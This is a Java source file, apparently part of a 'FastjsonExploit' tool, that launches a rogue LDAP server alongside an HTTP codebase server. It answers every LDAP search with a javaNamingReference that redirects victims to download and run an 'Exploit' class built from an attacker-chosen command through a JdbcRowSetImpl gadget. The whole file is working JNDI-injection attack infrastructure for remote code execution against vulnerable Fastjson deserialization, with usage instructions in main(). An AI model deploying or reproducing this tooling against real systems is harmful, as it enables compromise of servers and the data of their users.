package server;

import gadget.Gadget;
import util.Common;
import util.Util;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            //System.out.println("[*] LDAP Server Listening on 0.0.0.0:" + ldap_port);
            System.out.println(String.format("[*] LDAP server listening on 0.0.0.0:%d (ldap://%s:%d/Exploit)",ldap_port,http_server,ldap_port));
            ds.startListening();
        }
        catch ( Exception e ) {
            System.out.println("[!] Start LDAP Server fail!");
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            //String connInfo = String.format("[+] connect ldap server form %s:%f",result.getConnectedAddress(),result.getConnectionID());

            //((SocksSocketImpl)((Socket)((LDAPListenerClientConnection)((InterceptedSearchOperation)result).clientConnection).socket).impl).port

            //System.out.println(connInfo);
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("[+] [LDAP server log] Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

    public static void main(String[] args) throws Exception {
        if(args.length != 3){
            System.out.println("Usage: java -cp FastjsonExploit-<version>.jar server.LDAPServer ldap_host ldap_port [cmd/code]");
            System.exit(0);
        }

//        String code = ExpBuilder.builder(args[2]);
//        JavaCodeCompiler compiler = new JavaCodeCompiler(code);
//        boolean res = compiler.compiler();
//        if (res) {
//            Common.byteCode = compiler.getByteCode("Exploit");
//            System.out.println("[*] compiler server code success!");
//        }else{
//            System.out.println("[*] compiler server code fail!");
//            System.out.println("[*] FastjsonExploit exit!");
//            System.exit(0);
//        }

        Common.byteCode = Gadget.getJdbcRowSetImplExpCode(args[2]);

        String server_host = args[0];
        int ldap_port = Integer.valueOf(args[1]);
        int http_server_port = Util.getUnusePort(server_host);

        CodebaseServer.lanuchCodebaseURLServer(server_host, http_server_port);
        lanuchLDAPServer(ldap_port, server_host, http_server_port);
    }
}